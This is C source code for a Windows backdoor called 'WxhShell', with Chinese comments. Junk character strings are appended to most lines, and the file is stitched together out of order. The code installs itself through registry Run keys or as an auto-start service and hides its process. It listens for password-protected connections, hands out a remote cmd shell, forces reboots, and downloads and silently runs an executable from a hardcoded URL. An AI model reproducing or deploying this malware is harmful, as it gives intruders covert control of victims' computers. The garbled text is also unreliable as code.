    if(Boot(SHUTDOWN)) 7sNw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1Y xgR}7  
    else { vC;]jJb:  
    closesocket(wsh); 'BMy8  
    ExitThread(0); %WFu<^jm  
    } S*)1|~pRvQ  
    break; n}-3o]ku  
    } RuW!*LI  
  // 获取shell |dE -^"_  
  case 's': { >cmE t  
    CmdShell(wsh); !|?e7u7  
    closesocket(wsh); G28O%jD?  
    ExitThread(0); 5 x2Ay=s  
    break; ~q +[<xR\  
  } *v%rMU7,  
  // 退出 h( QYxI,|  
  case 'x': { 3*S{;p  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); uZKP"Oy  
    CloseIt(wsh); ?ne_m:J[  
    break; 2LY=D L7  
    } R! s6% :Yg  
  // 离开 oSb, :^Wl  
  case 'q': { >n5:1.g  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); xom<P+M!|  
    closesocket(wsh); {1 J&xoV"  
    WSACleanup(); a)-FG P^  
    exit(1); bucR">_p  
    break; 7Ob*Yv=[  
        } =/Aj  
  } wYsZM/lw  
  } jMBiaX`F  
l?E a#  
  // 提示信息 SJ' % ^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7[v%GoE  
} +m\|e{G  
  } }peBR80tQ  
Jhkvd<L8`m  
  return;  Fnx`Ri  
} J<j&;:IRd  
dpZ;l 9  
// shell模块句柄 9$K;Raz%  
int CmdShell(SOCKET sock) /Wk9-uH  
{ )w~Fo,   
STARTUPINFO si; Nf,Z;5e  
ZeroMemory(&si,sizeof(si)); r4_eTrC,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ZsP2>%"  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; I XA>`D  
PROCESS_INFORMATION ProcessInfo; (n( fI f  
char cmdline[]="cmd"; ~!6K]hB4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); JeH;v0  
  return 0; t/i5,le  
} C2e.2)y  
%n0;[sD0A  
// 自身启动模式 UnWW/]E  
int StartFromService(void) a.F Al@Br  
{ )8gGv  
typedef struct sE(HZR1  
{ 8Ad606  
  DWORD ExitStatus; %6j)=IOts  
  DWORD PebBaseAddress; Q<tu)Qo  
  DWORD AffinityMask; m"tOe?  
  DWORD BasePriority; zQy"m-Q  
  ULONG UniqueProcessId; 3ucP(Ex@tg  
  ULONG InheritedFromUniqueProcessId; CCijf]+  
}   PROCESS_BASIC_INFORMATION; JM$.O;y -  
nHFrG =o,  
PROCNTQSIP NtQueryInformationProcess; "LhUxnll  
.o{0+fC#  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -XoPia2  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; pI`?(5iK6|  
~.Ik#At  
  HANDLE             hProcess; G* %t'jX9  
  PROCESS_BASIC_INFORMATION pbi; wl=61 Mb  
tEd.'D8 s  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); sf} Dh  
  if(NULL == hInst ) return 0; k4J8O3E  
5R$G(Ap_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); i y YJR  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); mbl]>JsQD  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,n,RFa  
I 1d0iU  
  if (!NtQueryInformationProcess) return 0; yKagT$-  
=?0lA_ 0  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $L4/I!Yf  
  if(!hProcess) return 0; <c[U#KrvJ  
E&$_`m;  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; v'2[[u{7*  
vZ7gS  
  CloseHandle(hProcess); FaTa(3$%  
=%)+%[wv  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ! {,F~i9  
if(hProcess==NULL) return 0; ".*x!l0y7  
co4h*?q  
HMODULE hMod; n#Dv2 E=6  
char procName[255]; gB,G.QM*6  
unsigned long cbNeeded; S&nxok`e^  
#(Or|\t  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Id'RL2Kq*&  
T<yP* b2E  
  CloseHandle(hProcess); l|`9:H  
l2%bF8]z  
if(strstr(procName,"services")) return 1; // 以服务启动 ]-o"}"3Ef  
eg+!*>GaX  
  return 0; // 注册表启动 "ceed)(:  
} I&9S;I$  
_&3<6$}i"  
// 主模块 |iFVh$N  
int StartWxhshell(LPSTR lpCmdLine) ~`;rNnOT3  
{ Q\ ^[!|  
  SOCKET wsl; UCrh/bTm  
BOOL val=TRUE; YKZrEP 4^  
  int port=0; 7)rWw<mY  
  struct sockaddr_in door; l7(!`NPbC  
!33#. @[  
  if(wscfg.ws_autoins) Install(); UAF<m1  
Q "r_!f  
port=atoi(lpCmdLine); TZir>5  
^62|d  
if(port<=0) port=wscfg.ws_port; }H4=HDO  
5y2? f  
  WSADATA data; aFiCZHohw  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; r9 y.i(j  
eg"Gjp- 4=  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   _zxLwU1(x  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ulHn#)  
  door.sin_family = AF_INET; 8 S`9dSc  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); .N4  
  door.sin_port = htons(port); fyz nuUl  
egR9AEJvz  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { O[17";P  
closesocket(wsl); s}&bJ"!Z  
return 1; =! Vf  
} g o5]<4`r  
F-(dRSDNM  
  if(listen(wsl,2) == INVALID_SOCKET) { T`/IO.2  
closesocket(wsl);  c9''  
return 1; I0AJY )R  
} Uv_N x10  
  Wxhshell(wsl); PMsz`  
  WSACleanup(); 4W4kwU6D  
q"KnLA(  
return 0; T@wcHg  
:Br5a34q  
} <O?y-$~  
;cQW sTfT  
// 以NT服务方式启动 O u>u %  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) q+SD6qM  
{ 1PaUI#X"2F  
DWORD   status = 0; kID[#g'  
  DWORD   specificError = 0xfffffff; Q0?\]2eet9  
gIWrlIV{9  
  serviceStatus.dwServiceType     = SERVICE_WIN32; mAgF73,3  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; L(;WxHL  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  , iNv'  
  serviceStatus.dwWin32ExitCode     = 0; JN/UUfj  
  serviceStatus.dwServiceSpecificExitCode = 0; ?q`0ZuAg\<  
  serviceStatus.dwCheckPoint       = 0; \2[<XG(^  
  serviceStatus.dwWaitHint       = 0; ~ jU/<~s  
\u-0v.+|  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Mj>}zbpk /  
  if (hServiceStatusHandle==0) return; js^ ,(CS  
~Vh(6q.oT  
status = GetLastError(); .Hhhi  
  if (status!=NO_ERROR) F+UG'4%  
{ W^,S6!  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; }*]B-\>  
    serviceStatus.dwCheckPoint       = 0; v1U?&C  
    serviceStatus.dwWaitHint       = 0; )/ Ud^wi  
    serviceStatus.dwWin32ExitCode     = status; Rx07trfN  
    serviceStatus.dwServiceSpecificExitCode = specificError; =*BIB5  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); { kSf{>Ia  
    return; rjt8fN  
  } ;?fS(Vz~  
H?1xjY9sl  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; <mA'X V,  
  serviceStatus.dwCheckPoint       = 0; *F ^wtH`  
  serviceStatus.dwWaitHint       = 0; 9L0GLmLk1u  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4rK{-jvh>m  
}  I7+9~5p  
~8 H_u  
// 处理NT服务事件,比如:启动、停止 +1JH  
VOID WINAPI NTServiceHandler(DWORD fdwControl) p1pQU={<  
{ m .IU ;cR  
switch(fdwControl) NE8 jC7  
{ [,EpN{l  
case SERVICE_CONTROL_STOP: '[|+aJ  
  serviceStatus.dwWin32ExitCode = 0; zr v]  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; x}/,yaWZ  
  serviceStatus.dwCheckPoint   = 0; uhH^>z KA  
  serviceStatus.dwWaitHint     = 0; Zd^6ulx  
  { \b V6@#,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Eh</? Qv\  
  } s>_V   
  return; A$0H .F>  
case SERVICE_CONTROL_PAUSE: 8VG!TpX/B  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; -W{DxN1  
  break; &K_)#v`|  
case SERVICE_CONTROL_CONTINUE: M6 9 w-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; vD/NgRBww  
  break; nL@KX>  
case SERVICE_CONTROL_INTERROGATE: M4LP$N  
  break; :,;K>l^U  
}; w1x" c>1C  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'k;4j|<  
} B0$:b !  
+[@z(N-h  
// 标准应用程序主函数 e"]8T},  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) W/z7"#  
{ x_=n-lAF  
kNqS8R|  
// 获取操作系统版本 Z 2}ah  
OsIsNt=GetOsVer(); Ft=zzoVKg  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Q'l^9Bz  
zepop19  
  // 从命令行安装 "]'?a$\ky:  
  if(strpbrk(lpCmdLine,"iI")) Install(); yw[#  
+cJy._pi!  
  // 下载执行文件 :a8 YV!X  
if(wscfg.ws_downexe) { 7qOa ;^T  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6%`&+Lq  
  WinExec(wscfg.ws_filenam,SW_HIDE); 'C$XS>S  
} N- e$^pST  
wHZW `  
if(!OsIsNt) { @Q&3L~K"  
// 如果时win9x,隐藏进程并且设置为注册表启动 .M,RFC  
HideProc(); ~"pKe~h   
StartWxhshell(lpCmdLine); kh~'Cn "O  
} Dih6mTP{  
else r?m+.fJB  
  if(StartFromService()) ^L1L=c;,  
  // 以服务方式启动 D.D$#O_n.S  
  StartServiceCtrlDispatcher(DispatchTable); 76tdJ!4Z  
else \y6OUM2y  
  // 普通方式启动 /[:dp<  
  StartWxhshell(lpCmdLine); #Lsnr.80  
~AY N  
return 0; sb:d>6  
} Y3kA?p0  
r`&-9"+  
?1L.:CS  
7*j (*  
=========================================== eD$M<Eu  
"gd=J_Yw  
^Jb H?  
~DO4,  
tMj;s^P1  
s,bERN7'yO  
" T +5X0 Nv  
jA".r'D%  
#include <stdio.h> Z nFi<@UB)  
#include <string.h> }nt* [:%  
#include <windows.h> wIkN9 f  
#include <winsock2.h> &1%q"\VI  
#include <winsvc.h> zX5!vaEv  
#include <urlmon.h> [' z[  
7\_o.(g#-  
#pragma comment (lib, "Ws2_32.lib") a{!QOX%K  
#pragma comment (lib, "urlmon.lib") 8u[-'pV!  
i'stw6*J  
#define MAX_USER   100 // 最大客户端连接数 h%WE=\,Qp  
#define BUF_SOCK   200 // sock buffer VxP&j0M>  
#define KEY_BUFF   255 // 输入 buffer %0#1t 5g  
gOgps:  
#define REBOOT     0   // 重启 *5tO0_L  
#define SHUTDOWN   1   // 关机 \tx bhWN  
jq'!UN{  
#define DEF_PORT   5000 // 监听端口 yx V:!gl  
IUR<.Y`  
#define REG_LEN     16   // 注册表键长度 t+oJV+@  
#define SVC_LEN     80   // NT服务名长度 &`b "a!  
d0'J C*  
// 从dll定义API |6G m:jV  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +q6ydb,  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); '` 'GK&)  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =b;>?dP  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); I H$0)g;s  
b~dIk5>O  
// wxhshell配置信息 B?VhIP e  
struct WSCFG { sL E#q+W  
  int ws_port;         // 监听端口 2r$#m*  
  char ws_passstr[REG_LEN]; // 口令 IwGqf.!.>  
  int ws_autoins;       // 安装标记, 1=yes 0=no NM)k/?fA  
  char ws_regname[REG_LEN]; // 注册表键名 **69rN  
  char ws_svcname[REG_LEN]; // 服务名 3_JCU05H}  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 TW !&p"Us+  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (&$VxuJ+6y  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !lo/xQ<  
int ws_downexe;       // 下载执行标记, 1=yes 0=no }b1cLchl  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" CJ}5T]WZ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :JlP[I  
6TP7b|  
}; 4Llo`K4  
lKk/p^:  
// default Wxhshell configuration d[rv1s>i  
struct WSCFG wscfg={DEF_PORT, a>\vUv*  
    "xuhuanlingzhe", Ym;*Y !~[  
    1, cqxVAzb  
    "Wxhshell", HF|oBX$_  
    "Wxhshell", R_=6GZH$G  
            "WxhShell Service", zB yqD$  
    "Wrsky Windows CmdShell Service", -i-?.:  
    "Please Input Your Password: ", m%?V7-9!k  
  1, @F(mi1QO  
  "http://www.wrsky.com/wxhshell.exe", X.`~>`8  
  "Wxhshell.exe" !3T&4t  
    }; fM^[7;]7e  
#^+DL]*l  
// 消息定义模块 R$zH]  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6q 2_WX  
char *msg_ws_prompt="\n\r? for help\n\r#>"; `6+"Z=:  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #c^^=Z  
char *msg_ws_ext="\n\rExit."; +iOKbc'  
char *msg_ws_end="\n\rQuit."; 9@+5LZR  
char *msg_ws_boot="\n\rReboot..."; 8,dBl!G=  
char *msg_ws_poff="\n\rShutdown...";  Q1@A2+ c  
char *msg_ws_down="\n\rSave to "; 9mZ  
|7x\m t  
char *msg_ws_err="\n\rErr!"; "`N-*;*W  
char *msg_ws_ok="\n\rOK!"; \W,I?Kx$  
36US5ef  
char ExeFile[MAX_PATH]; ^n0]dizB  
int nUser = 0; X$/2[o#g  
HANDLE handles[MAX_USER]; dH( ('u[  
int OsIsNt; NHlk|Y#6b  
q+,Q<2J  
SERVICE_STATUS       serviceStatus; Jmx Ko+-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 4@xE8`+b G  
1?Z4 K /  
// 函数声明 G@j0rnn>B  
int Install(void); hlt[\LP=$  
int Uninstall(void); n_'{^6*O  
int DownloadFile(char *sURL, SOCKET wsh); S6fbf>[  
int Boot(int flag); cu+FM  
void HideProc(void); [z 7bixN  
int GetOsVer(void); J4Dry<  
int Wxhshell(SOCKET wsl); fFQ|T:vm  
void TalkWithClient(void *cs); [` sL?&a  
int CmdShell(SOCKET sock); #:SNHM^><  
int StartFromService(void); EYA,hc  
int StartWxhshell(LPSTR lpCmdLine); .bio7c6  
1^gl}^|B  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Z1"v}g  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); hpU2  
2;w*oop,O  
// 数据结构和表定义 5h;+Ky!I  
SERVICE_TABLE_ENTRY DispatchTable[] = ->N8#XH2=  
{ zXRlo]  
{wscfg.ws_svcname, NTServiceMain}, /hO1QT}xd  
{NULL, NULL} 6Cp]NbNrq  
}; O$cHZs$  
~K@'+5Pc  
// 自我安装 2WG>, 4W2  
int Install(void) y|wc ,n%L>  
{ ?,/U^rf^4  
  char svExeFile[MAX_PATH]; NIw\}[-Z0E  
  HKEY key; (y^vqMz  
  strcpy(svExeFile,ExeFile); 1)Zf3Y8  
TsTPj8GAl[  
// 如果是win9x系统,修改注册表设为自启动 ({o'd=nO  
if(!OsIsNt) { K$d$m <  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { hJPlq0C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); QE7V. >J_p  
  RegCloseKey(key); c*~]zR>s!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bJD;>"*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ge8/``=  
  RegCloseKey(key); 63A}TBC  
  return 0; }u1O#L}F5  
    } @e{^`\l=<  
  } ^aW Z!gi  
} t45Z@hmcW  
else { 0bo/XUpi  
|ZQ@fmvL/p  
// 如果是NT以上系统,安装为系统服务 X]'7Ov  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,~._}E&9I  
if (schSCManager!=0) %;D.vKoh  
{ xMBaVlEN  
  SC_HANDLE schService = CreateService jRatm.N  
  ( LW(6$hpPp  
  schSCManager, !kC* g  
  wscfg.ws_svcname, n93=8;&  
  wscfg.ws_svcdisp, 9YBv|A  
  SERVICE_ALL_ACCESS, fDP$ sW  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , nl9P, d  
  SERVICE_AUTO_START, ,UuH}E  
  SERVICE_ERROR_NORMAL, CJhL)0Cs  
  svExeFile, 3)RsLI9  
  NULL, vY_-Ranj#.  
  NULL, [pM V?a[  
  NULL, a`0=AQ  
  NULL, KI+VXH}Y5{  
  NULL )(@Hd  
  ); M %Qt|@O  
  if (schService!=0)  E6WA}_  
  { x|vqNZ\F  
  CloseServiceHandle(schService); Z:_D0jG  
  CloseServiceHandle(schSCManager); .rf" (lM  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); y8DhOlewQ  
  strcat(svExeFile,wscfg.ws_svcname); ZIF49`Y4TF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }[xs~! 2F  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <'g:T(t  
  RegCloseKey(key); ? C/Te)  
  return 0; JwXT%op9RP  
    } QMZ)-ty"  
  } v~Y^r2  
  CloseServiceHandle(schSCManager); +[tP_%/r'^  
} }m-FGk  
} ^7Fh{q4IE  
5+wAzVA  
return 1; |ely|U. Tf  
} Cn[0(s6  
7>~5jYP  
// 自我卸载 of@#:Qs  
int Uninstall(void) jkvgoxY  
{ tzh1s i  
  HKEY key; nb>7UN.9  
,tg0L$qC  
if(!OsIsNt) { {+@bZ}57  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9rA=pH%<>B  
  RegDeleteValue(key,wscfg.ws_regname); L/z),#  
  RegCloseKey(key); +U3m#Y)k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .e3+s*  
  RegDeleteValue(key,wscfg.ws_regname); S1?-I_t+]  
  RegCloseKey(key); s@7H1)U  
  return 0; )sT> i  
  } J.| +ID+  
} @|tL8?  
} 9tqF8pb7v  
else { PV=5UyjW  
Gmz6$^D   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @i*|s~15  
if (schSCManager!=0) 7!N2-6GV  
{ mtj h`  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); FeTL&$O  
  if (schService!=0) f1(+ bE%  
  { D~\$~&_]=  
  if(DeleteService(schService)!=0) { c[ ]4n  
  CloseServiceHandle(schService); A\.GV1  
  CloseServiceHandle(schSCManager); 'Un " rts  
  return 0; )[|3ZP`  
  } E)fglYWs2  
  CloseServiceHandle(schService); s91JBP|B7  
  } UMcgdJB  
  CloseServiceHandle(schSCManager); $81*^  
} bv*,#Qm  
} RnDt)3  
5O6hxcMjT  
return 1; Dv/WE>?Aw  
} D N*t~Z3[  
r#Oo nZ  
// 从指定url下载文件 _Wa. JUbv  
int DownloadFile(char *sURL, SOCKET wsh) (/j); oSK  
{ ^R@j=_8}  
  HRESULT hr; Jtk|w[4L  
char seps[]= "/"; aX}P|l  
char *token; GF^071]G  
char *file; Mwr"~?\\  
char myURL[MAX_PATH]; .uk>QM s1  
char myFILE[MAX_PATH]; yT,.z 0  
KkE9KwZ]W  
strcpy(myURL,sURL); fw RZ5`v<  
  token=strtok(myURL,seps); RSfzRnhmr  
  while(token!=NULL) ^!by3Elqqk  
  { qm8&*UuKJ  
    file=token; +@/"%9w  
  token=strtok(NULL,seps); |UxG$M(  
  } `WH"%V:"Q  
.8G@%p{,  
GetCurrentDirectory(MAX_PATH,myFILE); k'5?M  
strcat(myFILE, "\\"); ksN+ ?E4w  
strcat(myFILE, file); }I2@%tt?  
  send(wsh,myFILE,strlen(myFILE),0); fOMW"myQ  
send(wsh,"...",3,0); 9b*nLyYVz  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 6<ZkJ:=  
  if(hr==S_OK) o$Z6zmxO  
return 0; b^$|Nz;  
else DY?Kfvef  
return 1; |Xk4&sDrK  
]h5Yg/sms  
} YS%h^>I^  
y)@[Sl>  
// 系统电源模块 \0f{S40  
int Boot(int flag) <fFTY130:  
{ xsMBC  
  HANDLE hToken; %GS(:]{n  
  TOKEN_PRIVILEGES tkp; XUlS\CH@{  
Uh):b%bS;J  
  if(OsIsNt) { 9 o&`5  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); rq/I` :  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); L');!/:  
    tkp.PrivilegeCount = 1; :d#VE-e  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AQiwugs  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); eXf22;Lz  
if(flag==REBOOT) { b8LLr;oQw  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >\Ww;1yV  
  return 0; O6G0  
} d>t<_}  
else { A'&K/)Z  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) C .~+*"Vw  
  return 0; ^i} L-QR  
} #I bp(  
  } 2P@sn!*{1  
  else { uvG]1m#  
if(flag==REBOOT) { dKxyA"@  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _`:1M2=  
  return 0; PU1Qsb5  
} trp0 V4b8  
else { [S>2ASj  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~"kb7Fxp  
  return 0; Ot6aRk  
} pv Gf\pu  
} +y3%3EKs1~  
D5*q7A6  
return 1; LBa[:j2  
} 3 C<L  
cZ2kYn 8  
// win9x进程隐藏模块 4k@5/5zsM  
void HideProc(void) mh{1*T$fP  
{ -K3^BZ HI  
$NZ-{dY{  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); zp%Cr.)$  
  if ( hKernel != NULL ) c5D)   
  { [c|]f_ZdK  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ?1K#dC52#  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); m4l& eEp  
    FreeLibrary(hKernel); WL?\5?G 9l  
  } rcC<Zat,|  
2vWx)Drb6  
return; .jk@IL  
} 9#MBaO8_"  
zZ` _D|<m  
// 获取操作系统版本 ~U@;gLoD  
int GetOsVer(void) [J4gH^Z_  
{ io-![^{  
  OSVERSIONINFO winfo; LH8 fBhw  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )]H-BIuGm  
  GetVersionEx(&winfo); ~ijVmWNk  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) B=^)Ub5'  
  return 1; hUp.tK:X7o  
  else [8=vv7wS  
  return 0; )E-inHD /  
} AN/;)wc  
Pu*6"}#~  
// 客户端句柄模块 lY?QQ01D  
int Wxhshell(SOCKET wsl) Ne[7gxpu  
{ C8V/UbA /  
  SOCKET wsh; BlA_.]Sg$  
  struct sockaddr_in client; xgKdMW'%g:  
  DWORD myID; Z:sg}  
YH\OFg@7  
  while(nUser<MAX_USER) )\J+Kiy)  
{ $',K7%y  
  int nSize=sizeof(client); z4jR[x,  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); lrIS{MJ+-  
  if(wsh==INVALID_SOCKET) return 1; &)AVzN+*h  
zGA q-<  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _0]S69lp  
if(handles[nUser]==0) #/Vh|UeX  
  closesocket(wsh); PE3vQH=t~  
else W"}M1o  
  nUser++; ~nh:s|l6%M  
  } pxCK;]  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }}\vV}s  
C8 xZ;V]  
  return 0; pu 7{a  
} H1QJ k_RL  
iV*q2<>  
// 关闭 socket 0Tx{3#  
void CloseIt(SOCKET wsh) (nlvl?\d  
{ %'s>QF]'  
closesocket(wsh); d9;g]uj`  
nUser--; _lGdUt 2  
ExitThread(0); o:3dfO%nuM  
} iB%gPoDCL@  
w~"KA6^  
// 客户端请求句柄 o7sT=x9  
void TalkWithClient(void *cs) ->y J5smtY  
{ }NzpiY9  
,^w?6?,&l}  
  SOCKET wsh=(SOCKET)cs; di6QVRj1  
  char pwd[SVC_LEN]; _/6!yyl  
  char cmd[KEY_BUFF]; zxbpEJzpn  
char chr[1]; MHX?@. v  
int i,j; i]6`LqlO  
->g*</  
  while (nUser < MAX_USER) { '%dfz K*Z  
x,|hU@h  
if(wscfg.ws_passstr) { #><.oreXq  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V-Sd[  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); h?BFvbAt  
  //ZeroMemory(pwd,KEY_BUFF); T"E6y"D  
      i=0; \eT5flC  
  while(i<SVC_LEN) { bzuEfFaL  
r^3acXl  
  // 设置超时 G MX?  
  fd_set FdRead; &eCa0s?mI  
  struct timeval TimeOut; )4<__|52"1  
  FD_ZERO(&FdRead); W&& ;:Fr  
  FD_SET(wsh,&FdRead); $Q96,rb}k;  
  TimeOut.tv_sec=8; HkUWehVm  
  TimeOut.tv_usec=0; pgI^4h  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Lvq>v0|  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )4gJd? 8R  
6@{(;~r  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); LcSX *MC  
  pwd=chr[0]; [y'f|XN  
  if(chr[0]==0xd || chr[0]==0xa) { A+"ia1p,}  
  pwd=0; bm?sbE  
  break; T>x&T9  
  } 7hlO#PYZ  
  i++; Jq&uF*!  
    } k.vBj~xU  
9F)z4  
  // 如果是非法用户,关闭 socket J'SZ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4'g;TI^  
} -0$55pa/@:  
>VP= MbN  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^;Y|3)vvB  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); E*V`":efS  
s.N7qO^:E  
while(1) { K1r#8Q!t  
m#PY,y  
  ZeroMemory(cmd,KEY_BUFF); Y^8C)p9r  
K?B{rE Lp  
      // 自动支持客户端 telnet标准   b\vKJ2  
  j=0; !`g~F\l  
  while(j<KEY_BUFF) { hyCh9YOu)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]h* c,.  
  cmd[j]=chr[0]; (@<lRA ^  
  if(chr[0]==0xa || chr[0]==0xd) { 4)h]MOZ  
  cmd[j]=0; )Dw,q~xgg0  
  break; 8\^}~s$$A  
  } p^%YBY#,H  
  j++;  FT#8L  
    } tyXuG<  
4C<j dv_J  
  // 下载文件 JJ}0gZ   
  if(strstr(cmd,"http://")) { 8/i!' 0r\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); M=F xB;v  
  if(DownloadFile(cmd,wsh)) h]+C.Eqnt#  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); P7nc7a  
  else h{HF8>u[  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =(NB%}  
  } t2F _uCr  
  else { zVXC1u9B  
Ir`eL  
    switch(cmd[0]) { /<@SFF.  
